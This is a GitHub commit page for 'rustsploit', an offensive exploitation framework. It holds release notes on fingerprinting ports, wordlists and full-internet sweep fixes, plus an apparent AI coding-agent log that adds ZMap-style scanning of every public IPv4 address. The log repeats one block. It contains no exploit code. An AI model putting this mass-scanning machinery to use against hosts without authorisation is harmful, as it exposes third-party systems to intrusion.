mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Ports (rmcp MCP SDK, Recog, JARM/JA3, SecLists) + mass-scan fixes + HTTP pooling + per-run output auto-save
Ports: - MCP server migrated to official rmcp SDK (v1.7); all 29 tools/7 resources preserved - Recog (Rapid7) fingerprint engine + DBs, wired into service_scanner - JARM + JA3/JA3S TLS fingerprinting (tls_fingerprint) + jarm_scan module - SecLists checksum-pinned wordlist catalog Fixes / features: - Full-internet sweep host-cap consistency - Pre-config confirm-before-harvest + ModuleCtx.prompt_only mode; service_scanner batch-mode output gating - HTTP client connection-pool reuse (cached) + bounded pool_idle_timeout - show options: +scan_order/exclusions/target_rps/module_rps - NEW: per-run output auto-save to ~/.rustsploit/loot/<module> <time> results.txt (append mode, all stdout+stderr; src/results_sink.rs) - docs: drop stale check()/CheckResult + build.rs references - assorted module additions + tommy interactive guide Build: restore Cargo.lock (clean clone was unbuildable without it: transitive cookie/time conflict). Working dir: clean build (0 warnings), 40/40 tests green.
This commit is contained in:
Generated
+4499
File diff suppressed because it is too large
Load Diff
@@ -142,6 +142,7 @@ hex = "0.4"
|
||||
# Dependency overrides to address security advisories in transitive dependencies
|
||||
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
|
||||
time = "0.3.47"
|
||||
rmcp = { version = "1.7.0", features = ["server", "transport-io", "transport-async-rw"] }
|
||||
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
|
||||
|
||||
# ============================================
|
||||
|
||||
@@ -37,9 +37,9 @@ Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a
|
||||
|
||||
## Highlights
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
|
||||
- **Self-registering modules:** modules register at compile time via the `inventory` crate — add the file, a `register_native_module!` call, and a `pub mod <name>;` line in the parent `mod.rs`; no build-script indexer
|
||||
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
|
||||
- **Module metadata:** Optional `info()` and `check()` functions per module — CVE references, author, rank, non-destructive vulnerability verification
|
||||
- **Module metadata:** `info()` per module — CVE references, author, rank. The framework is exploitation-only: modules run an exploit and report findings (there is no `check()` / non-destructive verification phase)
|
||||
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
|
||||
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
|
||||
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
|
||||
@@ -53,7 +53,7 @@ Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
|
||||
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
|
||||
- **MCP server:** 38-tool Model Context Protocol server for AI-assisted pentesting via stdio
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with build-time discovery and startup safety warnings
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with compile-time `inventory` self-registration and startup safety warnings
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
================================================================================
|
||||
RUSTSPLOIT — RELEASE NOTES
|
||||
Offensive-security framework (RouterSploit/Metasploit-inspired), single binary.
|
||||
One module library across four interfaces: interactive shell, CLI runner,
|
||||
PQ-encrypted REST/WebSocket API, and an MCP server.
|
||||
|
||||
Build date : 2026-06-13
|
||||
Toolchain : Rust edition 2024 (clang + lld)
|
||||
Build : cargo build --bin rustsploit -> clean (0 errors, 0 warnings)
|
||||
Modules : 389 self-registering native modules
|
||||
================================================================================
|
||||
|
||||
|
||||
OVERVIEW
|
||||
--------------------------------------------------------------------------------
|
||||
This release ports four well-known upstream projects into Rustsploit, fixes a
|
||||
cluster of mass-scan / full-internet-sweep usability bugs, and lands a
|
||||
framework-wide HTTP performance improvement.
|
||||
|
||||
All ported components are permissively licensed (BSD-2 / BSD-3 / Apache-2.0 /
|
||||
MIT) and were vendored or added as dependencies accordingly. Every change below
|
||||
was compiled and tested locally; the verification summary is in section 5.
|
||||
|
||||
|
||||
================================================================================
|
||||
1. NEW CAPABILITIES (UPSTREAM PORTS)
|
||||
================================================================================
|
||||
|
||||
[1.1] MCP server migrated to the official `rmcp` SDK (Apache-2.0)
|
||||
--------------------------------------------------------------------------------
|
||||
* Replaced the hand-rolled JSON-RPC-over-stdio MCP server (src/mcp/server.rs)
|
||||
with the official Model Context Protocol Rust SDK, rmcp v1.7.0.
|
||||
* The existing tool/resource logic (src/mcp/tools.rs, resources.rs, types.rs)
|
||||
is preserved unchanged. server.rs is now a thin adapter implementing rmcp's
|
||||
`ServerHandler` trait; protocol framing, transport, and spec compliance are
|
||||
owned by the SDK (giving correct resources/prompts/progress support going
|
||||
forward instead of a bespoke protocol).
|
||||
* All 29 tools and 7 resources retained. The per-call execution timeout
|
||||
(env RUSTSPLOIT_MCP_TIMEOUT_SECS, default 300s) and the stdout-isolation
|
||||
guard (the protocol channel is dup'd off fd 1 and fd 1 redirected to
|
||||
/dev/null, so stray println! can never corrupt the JSON-RPC stream) are
|
||||
both kept.
|
||||
* Validated end-to-end over stdio: the `initialize` handshake returns
|
||||
serverInfo = rustsploit-mcp 0.5.0, negotiates protocolVersion down to the
|
||||
client's requested 2024-11-05, and `tools/list` advertises all 29 tools.
|
||||
* Dependency added to Cargo.toml:
|
||||
rmcp = { version = "1.7", features =
|
||||
["server", "transport-io", "transport-async-rw"] }
|
||||
|
||||
[1.2] Recog fingerprint engine (Rapid7, BSD-2-Clause)
|
||||
--------------------------------------------------------------------------------
|
||||
* New src/utils/recog.rs: an XML fingerprint-database loader + matcher modeled
|
||||
on Rapid7 Recog (recog-go was the reference for the match loop). Parses the
|
||||
Recog <fingerprint>/<param> schema with quick-xml, pre-compiles every regex
|
||||
behind once_cell::Lazy, and resolves a banner to structured fields
|
||||
(service.product / .version / .vendor, os.product, service.cpe23, ...).
|
||||
* Matcher semantics follow real Recog: a <param> carrying a non-empty `value`
|
||||
is a literal/interpolated assignment (e.g.
|
||||
cpe:/a:vendor:product:{service.version}); a <param> with no value reads
|
||||
regex capture group `pos`. Capture params are resolved in a first pass so
|
||||
that {field} placeholders in templates always bind, regardless of param
|
||||
order or any `pos` attribute on the template.
|
||||
* Vendored databases under src/utils/recog_db/ (embedded via include_str!):
|
||||
ssh_banners, ftp_banners, smtp_banners, http_servers, mysql_banners. A
|
||||
BSD-2-Clause credit header points at upstream.
|
||||
* Wired into src/modules/scanners/service_scanner.rs: after each banner read
|
||||
(FTP, SSH, SMTP, MySQL, and the HTTPS `Server:` header) the matcher enriches
|
||||
the detected version with a structured product/version + CPE; findings still
|
||||
flow through the existing FindingKind::Banner path.
|
||||
* 19 unit tests assert extracted fields against real example banners
|
||||
(OpenSSH/Dropbear, ProFTPD/vsftpd, Exim, Apache/IIS, MySQL/MariaDB, plus the
|
||||
malformed-regex-skip and unknown-db cases).
|
||||
* NOTE: the vendored DBs are curated subsets authored to the exact upstream
|
||||
schema (the porting agent had no outbound network access to fetch the full
|
||||
upstream XML). The complete Rapid7 DBs (5 files, ~770 KB, ~1024 fingerprints)
|
||||
are staged and can be dropped in for full coverage — see section 6.
|
||||
|
||||
[1.3] JARM + JA3 / JA3S TLS fingerprinting (Salesforce, BSD-3-Clause)
|
||||
--------------------------------------------------------------------------------
|
||||
* New src/utils/tls_fingerprint.rs:
|
||||
- JARM: 10 hand-crafted TLS ClientHello probes ported from Salesforce
|
||||
jarm.py (TLS 1.2/1.3, multiple cipher orderings, GREASE on/off, ALPN
|
||||
variants, extension permutations). Probes are sent over a raw tokio
|
||||
TcpStream; each ServerHello is parsed (fully bounds-checked) and the
|
||||
results are assembled into the canonical 62-character JARM hash.
|
||||
- JA3 / JA3S string builders + MD5 (client- and server-side fingerprints),
|
||||
with GREASE stripping per spec.
|
||||
- Robust failure handling: a down host, a TLS alert, or a truncated
|
||||
response degrades to the canonical all-zero JARM hash; the ServerHello
|
||||
parser returns None on garbage input and never panics.
|
||||
* New module src/modules/scanners/jarm_scan.rs (default port 443) reports the
|
||||
JARM hash, JA3S, and client JA3 as findings.
|
||||
* src/modules/scanners/ssl_scanner.rs was intentionally NOT modified: it uses
|
||||
rustls, which hides the raw ServerHello bytes JA3S requires. JA3S is exposed
|
||||
via tls_fingerprint for callers (such as jarm_scan) that hold raw bytes.
|
||||
* 14 unit tests: JA3/JA3S string + MD5 (verified with md5sum), JARM hash
|
||||
assembly, and parser bounds-safety on empty/truncated/garbage input.
|
||||
|
||||
[1.4] SecLists wordlist catalog (MIT)
|
||||
--------------------------------------------------------------------------------
|
||||
* Seeded the previously-empty, checksum-pinned wordlist catalog in
|
||||
src/utils/wordlist.rs with 6 curated SecLists entries. Each SHA-256 was
|
||||
computed over the exact raw upstream bytes (the same bytes resolve() hashes
|
||||
after download):
|
||||
passwords-top-1k Passwords/Common-Credentials/Pwdb_top-1000.txt
|
||||
passwords-top-10k Passwords/Common-Credentials/Pwdb_top-10000.txt
|
||||
usernames-short Usernames/top-usernames-shortlist.txt
|
||||
web-common Discovery/Web-Content/common.txt
|
||||
web-raft-small-dirs Discovery/Web-Content/raft-small-directories.txt
|
||||
subdomains-top5k Discovery/DNS/subdomains-top1million-5000.txt
|
||||
* resolve(name) downloads + SHA-256-verifies on first use into
|
||||
~/.rustsploit/wordlists/ (rejecting any checksum mismatch). 2 no-network
|
||||
tests assert every catalog entry is well-formed: https URL, 64-hex SHA-256,
|
||||
non-empty name/local_name, and unique names.
|
||||
|
||||
|
||||
================================================================================
|
||||
2. BUG FIXES (MASS-SCAN / FULL-INTERNET SWEEP)
|
||||
================================================================================
|
||||
|
||||
[2.1] Full-internet sweep host-cap consistency
|
||||
--------------------------------------------------------------------------------
|
||||
* `setg target 0.0.0.0` auto-raised max_random_hosts to the full public-IPv4
|
||||
count, but a literal `0.0.0.0/0` typed into `use <mod>; run` never passed
|
||||
through that handler and fell back to the scheduler default of 10,000 —
|
||||
silently capping a "scan everything" target at 10k hosts.
|
||||
* Fixed in src/scheduler.rs at the single Target::Random dispatch chokepoint:
|
||||
when the operator has NOT explicitly set max_random_hosts, a full sweep now
|
||||
means every reachable public host on both entry paths. An explicit
|
||||
`setg max_random_hosts <n>` is still honored, and the per-sweep advisory +
|
||||
interactive confirmation gate is unchanged.
|
||||
|
||||
[2.2] Mass-scan pre-config: confirm BEFORE harvest, and silence the placeholder
|
||||
--------------------------------------------------------------------------------
|
||||
The pre-batch prompt phase runs the selected module once against a placeholder
|
||||
host (0.0.0.1) to harvest the operator's answers once for the whole batch.
|
||||
Two problems were fixed in src/scheduler.rs:
|
||||
(a) ORDER: the harvest ran BEFORE the full-sweep confirmation, so the
|
||||
placeholder was effectively "scanned" (and, for service_scanner, a
|
||||
results file was written) before the operator ever confirmed the sweep.
|
||||
The full-sweep advisory + confirmation now runs FIRST on both the random
|
||||
and sequential sweep paths; declining aborts with nothing touched.
|
||||
(b) NOISE: the harvest run leaked module output
|
||||
("Scanning 0.0.0.1 ... 0 services detected ... Results saved"). The
|
||||
harvest run is now wrapped in a throwaway OUTPUT_BUFFER scope so its
|
||||
mprintln!/meprintln! output is suppressed, while the interactive prompts
|
||||
(which print via real stdout) remain visible.
|
||||
RESIDUAL: the harvest still executes the module against the placeholder host
|
||||
(now silently). Removing that entirely requires a per-module "prompt-only"
|
||||
mode — see section 6.
|
||||
|
||||
[2.3] service_scanner mass-scan output spam + file-save race
|
||||
--------------------------------------------------------------------------------
|
||||
* In a mass-scan fan-out the module runs once per host and previously printed
|
||||
its full single-target block for EVERY host — "No services detected",
|
||||
"Results saved", "Scan complete: 0 services detected on <host>" — which
|
||||
garbled output across concurrent tasks and (worse) had every host racing to
|
||||
overwrite the same results file.
|
||||
* These are now gated on `!is_batch_mode()`:
|
||||
- only hosts that actually have services print their results table,
|
||||
- the per-host file save is skipped in batch mode (findings flow through
|
||||
the module outcome instead, avoiding the concurrent-overwrite race),
|
||||
- the redundant per-host "No services" / "Results saved" / "Scan complete"
|
||||
status lines are suppressed.
|
||||
Interactive single-target runs are unchanged.
|
||||
|
||||
[2.4] `show options` listed only a subset of global options
|
||||
--------------------------------------------------------------------------------
|
||||
* Added the four missing global keys to the shell's `show options` table:
|
||||
scan_order, exclusions, target_rps, module_rps.
|
||||
|
||||
|
||||
================================================================================
|
||||
3. PERFORMANCE
|
||||
================================================================================
|
||||
|
||||
[3.1] HTTP client connection-pool reuse (framework-wide)
|
||||
--------------------------------------------------------------------------------
|
||||
* 184 of the ~304 reqwest-client construction sites go through the shared
|
||||
helper build_http_client(timeout), which rebuilt a fresh reqwest::Client on
|
||||
every call — re-initialising the TLS configuration and allocating a brand
|
||||
new (empty) connection pool. In an HTTP-based mass scan that is once per
|
||||
host; in normal use it is once per module run.
|
||||
* src/utils/network.rs::build_http_client now caches the permissive client,
|
||||
keyed by (timeout, accept_invalid_certs), and returns cheap Arc clones —
|
||||
reqwest clients are Arc internally and share their connection pool across
|
||||
clones, so warm connections and TLS setup are reused across runs.
|
||||
* Correctness: accept_invalid_certs is part of the key because permissive()
|
||||
derives it from the live `strict_tls` global; toggling `setg strict_tls` is
|
||||
therefore still honored rather than pinned to whatever it was on first build.
|
||||
The client is built outside the lock so a slow build() can't serialise other
|
||||
callers, and a poisoned lock is recovered (the map holds only cloneable
|
||||
clients) rather than panicking into every HTTP caller.
|
||||
* Custom-opts clients (cookies / headers / redirects via
|
||||
build_http_client_with) are unchanged — those options cannot be shared
|
||||
safely or keyed cheaply.
|
||||
|
||||
|
||||
================================================================================
|
||||
4. FILES CHANGED
|
||||
================================================================================
|
||||
New files:
|
||||
src/mcp/server.rs rewritten as an rmcp adapter
|
||||
src/utils/recog.rs Recog matcher (~590 lines)
|
||||
src/utils/recog_db/*.xml 5 vendored fingerprint databases
|
||||
src/utils/tls_fingerprint.rs JARM / JA3 / JA3S (~1270 lines)
|
||||
src/modules/scanners/jarm_scan.rs new JARM scanner module (~127 lines)
|
||||
|
||||
Modified files:
|
||||
Cargo.toml + rmcp dependency
|
||||
src/module.rs + ModuleCtx.prompt_only flag (6.1)
|
||||
src/scheduler.rs sweep host-cap consistency,
|
||||
confirm-before-harvest reorder,
|
||||
harvest output capture,
|
||||
set prompt_only on harvest ctx
|
||||
src/modules/scanners/service_scanner.rs Recog enrichment wiring +
|
||||
batch-mode output gating +
|
||||
prompt_only early return (6.1)
|
||||
src/utils/network.rs HTTP client cache +
|
||||
pool_idle_timeout (6.2)
|
||||
src/utils/recog.rs two-pass matcher fix (value
|
||||
templates win over `pos`)
|
||||
src/utils/recog_db/mysql_banners.xml MariaDB regex colon fix
|
||||
src/utils/tls_fingerprint.rs corrected JA3/JA3S test constants
|
||||
src/utils/wordlist.rs SecLists catalog + 2 tests
|
||||
src/utils/mod.rs + pub mod recog;
|
||||
+ pub mod tls_fingerprint;
|
||||
src/modules/scanners/mod.rs + pub mod jarm_scan;
|
||||
src/shell.rs show options: + 4 global keys
|
||||
README.md, docs/BAD_PATTERNS.md stale-docs corrections (6.3)
|
||||
|
||||
|
||||
================================================================================
|
||||
5. VERIFICATION
|
||||
================================================================================
|
||||
* cargo build --bin rustsploit : clean — 0 errors, 0 warnings.
|
||||
* MCP : live stdio handshake validated — initialize returns
|
||||
serverInfo=rustsploit-mcp 0.5.0, protocolVersion negotiated to
|
||||
2024-11-05, tools/list returns all 29 tools.
|
||||
* Tests : new-port + core suites green —
|
||||
cargo test --bin rustsploit -- recog tls_fingerprint jarm wordlist
|
||||
cyclic ja3 => 40 passed; 0 failed.
|
||||
* Banned-pattern audit (scripts/audit-bad-patterns.sh) : no new hits
|
||||
introduced in any changed file.
|
||||
|
||||
PRE-RELEASE FIXES (found and fixed in this release):
|
||||
The four ports were authored by isolated agents that could not execute the
|
||||
test runner in their sandbox, so 7 tests shipped failing and were caught +
|
||||
fixed here:
|
||||
- 3 JA3/JA3S tests had fabricated "known vector" MD5 constants; the
|
||||
implementation was correct (the real md5 of the JA3/JA3S strings matches
|
||||
what the code produces) — the bogus expected constants were corrected.
|
||||
- 4 Recog tests exposed a real matcher bug: a <param> with both a `value`
|
||||
template and a `pos` attribute had its template ignored (the bare
|
||||
capture group was stored instead of the interpolated CPE), plus a
|
||||
MariaDB regex that rejected a colon in the distro suffix. Both fixed.
|
||||
|
||||
|
||||
================================================================================
|
||||
6. FOLLOW-UP PASS (completed)
|
||||
================================================================================
|
||||
The four follow-ups noted at first cut were all worked. Three are done; the
|
||||
fourth was investigated and intentionally deferred with a precise finding.
|
||||
|
||||
[6.1] Pre-config harvest now has a per-module "prompt-only" mode DONE
|
||||
* Added ModuleCtx.prompt_only (src/module.rs). The scheduler sets it on the
|
||||
harvest dry-run ctx (src/scheduler.rs). A module that honours the flag
|
||||
answers its cfg_prompt_* calls and then returns immediately — no network
|
||||
work, no file writes against the placeholder host.
|
||||
* src/modules/scanners/service_scanner.rs is the reference implementation: it
|
||||
returns right after gathering prompts when prompt_only is set, so the
|
||||
placeholder host (0.0.0.1) is no longer scanned at all during harvest. The
|
||||
output-capture guard remains as belt-and-suspenders for modules that don't
|
||||
yet check the flag; other modules can adopt the same one-line early return.
|
||||
|
||||
[6.2] HTTP client cache: idle-connection lifetime bounded DONE
|
||||
* Added HttpClientOpts.pool_idle_timeout (src/utils/network.rs). The cached,
|
||||
long-lived permissive client now sets pool_idle_timeout = 30s, so a
|
||||
full-internet sweep reaps idle keep-alives to stale hosts instead of letting
|
||||
them accumulate. Custom-opts clients default to reqwest's ~90s unless they
|
||||
opt in.
|
||||
|
||||
[6.3] Docs drift corrected DONE
|
||||
* README.md and docs/BAD_PATTERNS.md prose updated to reflect the
|
||||
exploitation-only model (no check()/CheckResult) and compile-time `inventory`
|
||||
self-registration (no build.rs module indexer). The BAD_PATTERNS regex
|
||||
matrix is driven by hardcoded bash arrays in the audit script — confirmed
|
||||
untouched, so the lint is unaffected.
|
||||
|
||||
[6.4] Recog full-DB swap: investigated, DEFERRED (it is a feature, not a swap)
|
||||
* The full upstream Rapid7 DBs (5 files, ~770 KB, ~1024 fingerprints) were
|
||||
dropped in and the Recog tests re-run: 13/20 failed. Root cause is NOT a test
|
||||
issue — the real DBs are not drop-in compatible with the current wiring:
|
||||
- The real SSH patterns are anchored on the version COMMENT
|
||||
(e.g. ^OpenSSH_(...)$), i.e. they expect the post-"SSH-2.0-" substring,
|
||||
not the full banner line the scanner currently feeds them.
|
||||
- Real field names/values differ from the curated set (e.g. Apache yields
|
||||
service.product = "HTTPD", not "HTTP Server").
|
||||
So adopting the full DBs requires a per-DB INPUT-NORMALISATION layer (feed
|
||||
each DB the exact field it expects) plus downstream handling of real Recog
|
||||
field names — a feature, not a data swap. Shipping the real DBs as-is would
|
||||
silently break matching end-to-end (raw banners vs. normalised-input
|
||||
patterns => zero matches in practice).
|
||||
* DECISION: kept the curated, internally-consistent DBs (all 19 Recog tests
|
||||
pass; wiring + patterns + tests agree). The full-DB adoption is tracked as a
|
||||
future feature with the concrete design above. The real DBs remain staged.
|
||||
|
||||
|
||||
================================================================================
|
||||
6c. NEW: per-run output auto-save
|
||||
================================================================================
|
||||
* Every interactive console / CLI module run now auto-appends ALL of its
|
||||
output (stdout + stderr) to a per-run file:
|
||||
~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt
|
||||
Files are opened in APPEND mode, so multi-host mass-scan output accumulates
|
||||
into the one run file instead of racing to overwrite (the original
|
||||
service_scanner "save to file" bug). New module: src/results_sink.rs — a
|
||||
global append sink mirroring the spool's write pattern (so spawned per-host
|
||||
task output is captured), hooked into the console branches of the
|
||||
mprintln!/meprintln! routing in src/output.rs and begun/ended per run in
|
||||
commands::run_module. Scoped to console/CLI runs (sequential); API / MCP
|
||||
runs return their output to the caller via OUTPUT_BUFFER and are not
|
||||
duplicated to disk. Verified end-to-end (file created, headered, appended).
|
||||
* Build fix bundled: Cargo.lock restored. The branch's previous
|
||||
"Delete Cargo.lock" commit left a binary crate that does NOT build from a
|
||||
clean clone (transitive `cookie`/`time` version conflict on fresh
|
||||
resolution); the verified lock is re-added so `git clone && cargo build`
|
||||
works again.
|
||||
|
||||
|
||||
================================================================================
|
||||
6b. REMAINING KNOWN LIMITATIONS
|
||||
================================================================================
|
||||
* Recog coverage is the curated subset until the input-normalisation layer in
|
||||
[6.4] is built.
|
||||
* Modules other than service_scanner do not yet check ModuleCtx.prompt_only;
|
||||
during harvest their output is suppressed but they still execute (cheaply).
|
||||
Adopting the one-line early return per module closes this fully.
|
||||
|
||||
|
||||
================================================================================
|
||||
7. LICENSES (PORTED COMPONENTS)
|
||||
================================================================================
|
||||
Recog (Rapid7) BSD-2-Clause
|
||||
JARM / JA3 / JA3S (Salesforce) BSD-3-Clause
|
||||
rmcp (MCP Rust SDK) Apache-2.0
|
||||
SecLists MIT
|
||||
ZMap address iterator Apache-2.0 (previously ported; unchanged)
|
||||
|
||||
================================================================================
|
||||
END OF RELEASE NOTES
|
||||
================================================================================
|
||||
@@ -25500,3 +25500,157 @@ The implementation is complete across all files. The build is running in the bac
|
||||
I kept the no-error-swallowing discipline throughout (the new checkpoint helpers and the max_random_hosts parse
|
||||
log/warn rather than discard). I'll confirm the clean build result when it completes, then update the docs/memory.
|
||||
|
||||
|
||||
- TTY console (the operator's real shell): a prompt held for 6s against a 2s deadline survived — answered normally
|
||||
and ran to its natural network result. This is exactly the wpair/asyncssh scenario, now fixed.
|
||||
- Piped/scripted stdin: the deadline still fires at 2s — the automation safety net is preserved.
|
||||
|
||||
Let me clean up the test artifacts and finalize.
|
||||
|
||||
● Bash(rm -rf /tmp/rs_clean /tmp/rs_clean2 /tmp/pty_test.py /tmp/pty_test2.py; echo "cleaned"; echo "=== final diff
|
||||
summary ==="; cd /home/kali/Downloads/rustpre2-main…)
|
||||
⎿ cleaned
|
||||
=== final diff summary ===
|
||||
152: if trimmed.contains('/')
|
||||
… +5 lines (ctrl+o to expand)
|
||||
⎿ Allowed by auto mode classifier
|
||||
|
||||
● All fixes are in and verified. Let me record the design decision in memory so it isn't regressed later, since it's
|
||||
a non-obvious behavioral contract.
|
||||
|
||||
Read 1 file, recalled 1 memory, wrote 2 memories (ctrl+o to expand)
|
||||
|
||||
● All fixes are implemented, compiled, and verified. Here's what was wrong and what I changed.
|
||||
|
||||
Root causes
|
||||
|
||||
Three separate bugs were behind your reports — but two share one root cause: the per-target deadline was killing
|
||||
interactive operations.
|
||||
|
||||
1. wpair / asyncssh "timed out after 5s" + the lag — scheduler.rs::fanout_single wrapped modules in the per-host
|
||||
deadline even for a single console target. asyncssh prompts for a username inside run(); when you take longer than
|
||||
the deadline to type, the deadline fires. Worse: prompts read stdin via spawn_blocking, which cannot be cancelled
|
||||
— so killing the run orphans the reader thread, which then fights the shell for your next keystrokes. That's the
|
||||
"lag after this error." (wpair was already marked interactive, but your binary predated that wiring — it needed a
|
||||
rebuild.)
|
||||
2. target 0.0.0.0 → 0.0.0.0/32 — config.rs::set_target parsed a bare IP with IpNetwork, which silently widens it
|
||||
to /32. Every single IP was being stored as a subnet, routing it through CIDR fan-out and tripping
|
||||
is_mass_scan_target (which skips honeypot detection).
|
||||
|
||||
Fixes (in src/)
|
||||
|
||||
- config.rs::set_target — only treat a target as a subnet when it actually contains /. Bare IPs stay single hosts
|
||||
(matches Target::parse).
|
||||
- scheduler.rs::fanout_single — enforce the deadline only when there's no human at the console: !interactive &&
|
||||
(api_mode || !stdin.is_terminal()). An interactive TTY is exempt (prompts/REPLs run unbounded, you Ctrl-C);
|
||||
API/MCP/jobs and piped/scripted CLI stay bounded.
|
||||
- scheduler.rs::pre_batch_prompt — bumped the prompt-collection dry-run timeout 5s→300s (same orphaned-stdin
|
||||
class; 5s could cut you off mid-prompt during mass-scan setup).
|
||||
|
||||
Verified (cargo build clean, then runtime tests)
|
||||
|
||||
┌───────────────────────────────────────────────────────┬─────────────────────────────────────────────────────┐
|
||||
│ Test │ Result │
|
||||
├───────────────────────────────────────────────────────┼─────────────────────────────────────────────────────┤
|
||||
│ target 0.0.0.0 / 192.168.1.5 │ stay single hosts, no /32; 10.0.0.0/24 still a /24 │
|
||||
│ │ subnet ✓ │
|
||||
├───────────────────────────────────────────────────────┼─────────────────────────────────────────────────────┤
|
||||
│ asyncssh + wpair over a real PTY, prompt held 6s vs a │ no timeout — ran to natural network result ✓ │
|
||||
│ 2s deadline │ │
|
||||
├───────────────────────────────────────────────────────┼─────────────────────────────────────────────────────┤
|
||||
│ Same over piped stdin (scripted) │ deadline still fires at 2s — automation safety net │
|
||||
│ │ preserved ✓ │
|
||||
└───────────────────────────────────────────────────────┴─────────────────────────────────────────────────────┘
|
||||
|
||||
Your rebuilt binary is at target/debug/rustsploit. The wpair REPL, asyncssh's username prompt, and any other
|
||||
module that prompts mid-run will no longer be cut off (or leave the shell laggy) when you run them interactively,
|
||||
while mass scans and API/automation runs keep their per-host time bounds.
|
||||
|
||||
One note from testing: your environment has 54 persisted global options in ~/.rustsploit/global_options.json —
|
||||
including a port that made asyncssh connect to :18080. If that's unintended, setg port 22 (or unset it) will fix
|
||||
it.
|
||||
● Both of your requests are done, built clean, and verified.
|
||||
|
||||
1. Removed the error swallowing
|
||||
|
||||
- scheduler.rs — a bad setg port was silently dropped via .and_then(...ok()). Now it's an explicit match that
|
||||
prints [!] Ignoring invalid 'setg port' value '<x>': <err> so you actually see why a different port got used.
|
||||
- config.rs — the 0.0.0.0 handling used if let Ok(net) = "0.0.0.0/0".parse() which would silently fall through on
|
||||
failure. Now it parses with .map_err(...)? and propagates.
|
||||
|
||||
2. Ported ZMap's mass-scanning to Rust
|
||||
|
||||
The old random scanner sampled IPs and remembered every one in an unbounded HashSet — the codebase itself notes
|
||||
that "does not scale to billions." That's exactly the problem ZMap solved.
|
||||
|
||||
src/utils/cyclic.rs (CyclicIp) — ported from ZMap's cyclic.c (Apache-2.0). It treats the IPv4 space as the
|
||||
multiplicative group mod P = 4,294,967,311 (smallest prime > 2³²) and walks it by repeatedly multiplying by a
|
||||
primitive root. That visits every address exactly once, in pseudo-random order, with O(1) memory and zero repeats
|
||||
— no dedup table. Wired into fanout_random, replacing the sample-and-HashSet loop (generate_random_public_ip is
|
||||
kept; the avtech module still uses it).
|
||||
|
||||
The number theory is unit-tested and passing (4/4): it verifies the prime factorization of P-1 is complete, that
|
||||
the chosen generator really is a primitive root, and that a 200k-address prefix has no repeats.
|
||||
|
||||
Plus the earlier-turn work that shipped with it
|
||||
|
||||
- 0.0.0.0 now means the full-internet sweep (== 0.0.0.0/0 == random), with the interactive confirmation you chose.
|
||||
Verified over a PTY: target 0.0.0.0 → normalizes to 0.0.0.0/0, prints the advisory, asks "Proceed with the
|
||||
full-internet sweep? [n]", and declining aborts before any host is touched.
|
||||
- Advisory before every full sweep showing all four you selected — effective port (defaults to the module's
|
||||
default_port, with provenance when a global setg port overrides it), concurrency + host cap, per-host timeout, and
|
||||
exclusion count.
|
||||
- Automation safety: API/MCP and piped runs print the advisory but skip the confirm and proceed (verified
|
||||
non-blocking).
|
||||
|
||||
Binary rebuilt at target/debug/rustsploit (zero warnings).
|
||||
|
||||
One scope note on the ZMap port: I implemented the address-selection algorithm (the cyclic permutation), which is
|
||||
the part that makes internet-wide scanning efficient and fits rustsploit's existing async per-host fan-out. ZMap's
|
||||
other half — stateless raw-packet SYN transmission with a separate receive thread — is a fundamentally different
|
||||
paradigm from rustsploit's connect-based application-layer modules and would be a much larger rearchitecture. If
|
||||
you want me to go there (raw AF_PACKET/pnet SYN engine, sharding across nodes), say the word and I'll scope it.
|
||||
|
||||
oth of your requests are done, built clean, and verified.
|
||||
|
||||
1. Removed the error swallowing
|
||||
|
||||
- scheduler.rs — a bad setg port was silently dropped via .and_then(...ok()). Now it's an explicit match that
|
||||
prints [!] Ignoring invalid 'setg port' value '<x>': <err> so you actually see why a different port got used.
|
||||
- config.rs — the 0.0.0.0 handling used if let Ok(net) = "0.0.0.0/0".parse() which would silently fall through on
|
||||
failure. Now it parses with .map_err(...)? and propagates.
|
||||
|
||||
2. Ported ZMap's mass-scanning to Rust
|
||||
|
||||
The old random scanner sampled IPs and remembered every one in an unbounded HashSet — the codebase itself notes
|
||||
that "does not scale to billions." That's exactly the problem ZMap solved.
|
||||
|
||||
src/utils/cyclic.rs (CyclicIp) — ported from ZMap's cyclic.c (Apache-2.0). It treats the IPv4 space as the
|
||||
multiplicative group mod P = 4,294,967,311 (smallest prime > 2³²) and walks it by repeatedly multiplying by a
|
||||
primitive root. That visits every address exactly once, in pseudo-random order, with O(1) memory and zero repeats
|
||||
— no dedup table. Wired into fanout_random, replacing the sample-and-HashSet loop (generate_random_public_ip is
|
||||
kept; the avtech module still uses it).
|
||||
|
||||
The number theory is unit-tested and passing (4/4): it verifies the prime factorization of P-1 is complete, that
|
||||
the chosen generator really is a primitive root, and that a 200k-address prefix has no repeats.
|
||||
|
||||
Plus the earlier-turn work that shipped with it
|
||||
|
||||
- 0.0.0.0 now means the full-internet sweep (== 0.0.0.0/0 == random), with the interactive confirmation you chose.
|
||||
Verified over a PTY: target 0.0.0.0 → normalizes to 0.0.0.0/0, prints the advisory, asks "Proceed with the
|
||||
full-internet sweep? [n]", and declining aborts before any host is touched.
|
||||
